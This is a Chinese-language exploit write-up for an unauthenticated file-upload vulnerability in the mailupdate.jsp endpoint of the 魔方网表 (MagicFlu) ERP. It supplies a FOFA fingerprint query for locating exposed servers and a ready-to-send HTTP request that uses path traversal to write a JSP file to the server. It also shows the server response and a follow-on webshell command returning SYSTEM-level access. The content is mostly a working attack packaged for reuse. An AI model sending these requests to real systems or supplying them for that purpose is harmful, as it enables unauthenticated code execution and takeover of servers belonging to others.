

M11-1魔方-网表ERP-文件上传

漏洞描述：

魔方网表ERP mailupdate.jsp 接口存在文件上传漏洞，未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

网站图片：



网络测绘：

fofa语法：

FOFA: icon_hash="694014318"

漏洞复现：

payload:

```
GET /magicflu/html/mail/mailupdate.jsp?messageid=../../../../qwe.jsp&messagecontent=%3C%25+out.println%28%22hello%22%29%3B%25%3E HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept-Encoding: identity
Accept: */*
Connection: keep-alive
```

效果图：

Request

< > 数据包扫描 美化 热加载 构造请求

1 GET /magicflu/html/mail/mailupdate.jsp?messageid=../../../../qwe.jsp&messagecontent=%3C%25+out.println%28%22hello%22%29%3B%25%3E HTTP/1.1

2 Host : .

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

4 Accept-Encoding: identity

5 Accept: */*

6 Connection: keep-alive

Responses 28bytes / 73ms

1 HTTP/1.1 200

2 Set-Cookie: JSESSIONID=239EF5128367779278E

3 P3P: CP="IDC DSP COR ADM DEVI TAIi PSA PSD

4 Cache-Control: max-age=1,must-revalidate

5 Content-Type: text/html; charset=UTF-8

6 Date: Fri, 12 Apr 2024 14:49:06 GMT

7 Keep-Alive: timeout=20

8 Connection: keep-alive

9 Content-Length: 28

10

11

12

13

14

15

16

17

18

19

20

21

验证url

/magicflu/上传文件名

← → ↻ ⚠ 不安全 [redacted] /magicflu/qwe.jsp

hello

RCE

← → ↻ ⚠ 不安全 [redacted] /magicflu/rce.jsp?cmd=whoami

nt authority\system